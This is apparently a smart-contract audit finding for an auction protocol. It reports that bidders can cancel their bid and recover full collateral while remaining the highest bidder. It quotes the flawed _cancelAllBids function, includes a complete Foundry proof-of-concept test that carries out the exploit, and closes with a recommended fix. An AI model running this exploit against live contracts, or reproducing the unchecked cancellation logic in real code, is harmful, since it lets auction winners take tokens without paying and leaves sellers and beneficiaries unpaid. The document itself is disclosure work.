Boxy Burlap Opossum

high

# Bidders can cancel their own bid when they are the highest bidder

## Summary

A bidder can bid on an auction and then cancel their bid via EnglishPeriodicAuctionFacet.cancelAllBidsAndWithdrawCollateral(). This results in the bidder receiving their full collateral back and still maintain the highest bid.

## Vulnerability Detail

The core of this issue resides in the _cancelAllBids() function which is called by EnglishPeriodicAuctionFacet.cancelAllBidsAndWithdrawCollateral() which does not include a check that the canceller is cancelling the highest bidder:

```solidity
function _cancelAllBids(uint256 tokenId, address bidder) internal {
    EnglishPeriodicAuctionStorage.Layout
        storage l = EnglishPeriodicAuctionStorage.layout();

    uint256 currentAuctionRound = l.currentAuctionRound[tokenId];

   // AUDIT: no checks that the canceller is the highest bidder

    for (uint256 i = 0; i <= currentAuctionRound; i++) {
        Bid storage bid = l.bids[tokenId][i][bidder];

        if (bid.collateralAmount > 0) {
            // Make collateral available to withdraw
            l.availableCollateral[bidder] += bid.collateralAmount;

            // Reset collateral and bid
            bid.collateralAmount = 0;
            bid.bidAmount = 0;
        }
    }
}
```

Since there is no check that the bidder is the highest bidder, the bidder can cancel their bid and maintain the highest bidder position. 

A forge test below shows this exploit in action:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../contracts/auction/facets/EnglishPeriodicAuctionFacet.sol";
import "../contracts/auction/IEnglishPeriodicAuctionInternal.sol";
import "../contracts/allowlist/facets/AllowListFacet.sol";
import "../contracts/license/IStewardLicense.sol";
import "../contracts/allowlist/IAllowlistReadable.sol";
import "../contracts/pco/IPeriodicPCOParamsReadable.sol";
import "../contracts/beneficiary/IBeneficiary.sol"; 

contract EnglishPeriodicAuctionTest is Test {
  EnglishPeriodicAuctionFacet auction;

  address bidder = address(0x07);
  uint tokenId = 1;
  uint licensePeriod = 1000;

  function setUp() public {
    auction = new EnglishPeriodicAuctionFacet();
    auction.initializeAuction(
      address(0), // repossessor
      address(0), // initialBidder
      0, // initialPeriodStartTime
      0, // initialPeriodStartTimeOffset
      1 ether, // startingBid
      1 days, // auctionLengthSeconds
      0.01 ether, // minBidIncrement
      15 minutes, // bidExtensionWindowLengthSeconds
      5 minutes // bidExtensionSeconds
    );

    
    // allow bidder to make calls
    vm.mockCall(
      address(auction), 
      abi.encodeWithSelector(IAllowlistReadable.isAllowed.selector), 
      abi.encode(true)
    );

    // IStewardLicense(address(this)).exists(tokenId)
    vm.mockCall(
      address(auction), 
      abi.encodeWithSelector(IStewardLicense.exists.selector), 
      abi.encode(tokenId)
    );

    // IPeriodicPCOParamsReadable(address(this)).licensePeriod();
    vm.mockCall(
      address(auction), 
      abi.encodeWithSelector(IPeriodicPCOParamsReadable.licensePeriod.selector),
      abi.encode(licensePeriod)
    );

    // IStewardLicense(address(this)).triggerTransfer
    vm.mockCall(
      address(auction), 
      abi.encodeWithSelector(IStewardLicense.triggerTransfer.selector),
      abi.encode()
    );

    // IStewardLicense(address(this)).ownerOf(tokenId);
    vm.mockCall(
      address(auction), 
      abi.encodeWithSelector(IERC721.ownerOf.selector),
      abi.encode(address(0))
    );

    // IBeneficiary(address(this)).distribute
    vm.mockCall(
      address(auction), 
      abi.encodeWithSelector(IBeneficiary.distribute.selector),
      abi.encode()
    );

    // IPeriodicPCOParamsReadable(address(this)).feeNumerator();
    vm.mockCall(
      address(auction), 
      abi.encodeWithSelector(IPeriodicPCOParamsReadable.feeNumerator.selector),
      abi.encode(1)
    );

    // IPeriodicPCOParamsReadable(address(this)).feeDenominator();
    vm.mockCall(
      address(auction), 
      abi.encodeWithSelector(IPeriodicPCOParamsReadable.feeDenominator.selector),
      abi.encode(10)
    );

    // IStewardLicense(address(this)).maxTokenCount()
    vm.mockCall(
      address(auction), 
      abi.encodeWithSelector(IStewardLicense.maxTokenCount.selector),
      abi.encode(1e18)
    );
  }

  function testCancelHighestBid() public {
    deal(bidder, 1000e18);

    vm.startPrank(bidder);
    uint balanceBefore = bidder.balance;
    uint bidAmount = 100e18 - 1;
    uint feeAmount = auction.calculateFeeFromBid(bidAmount);

    auction.placeBid{value: bidAmount + feeAmount}(tokenId, bidAmount);
    auction.cancelAllBidsAndWithdrawCollateral(tokenId);
    uint balanceAfter = bidder.balance;

    console.log("any change in balance", balanceAfter - balanceBefore);

    (
      IEnglishPeriodicAuctionInternal.Bid memory highestBid
    ) = auction.highestBid(tokenId);

    assertEq(bidder, highestBid.bidder);
    vm.warp(block.timestamp + 1e18);

    auction.closeAuction(tokenId);
  }
}
```

## Impact

Bidders can win an auction without paying for the token.

## Code Snippet

https://github.com/sherlock-audit/2024-02-radicalxchange/blob/main/pco-art/contracts/auction/EnglishPeriodicAuctionInternal.sol?plain=1#L416-L434

https://github.com/sherlock-audit/2024-02-radicalxchange/blob/main/pco-art/contracts/auction/facets/EnglishPeriodicAuctionFacet.sol#L187-L190


## Tool used

Manual Review

## Recommendation

Add a validation check to see if the canceller is the current highest bidder. If they are the highest bidder for the token's current auction, skip that bid.
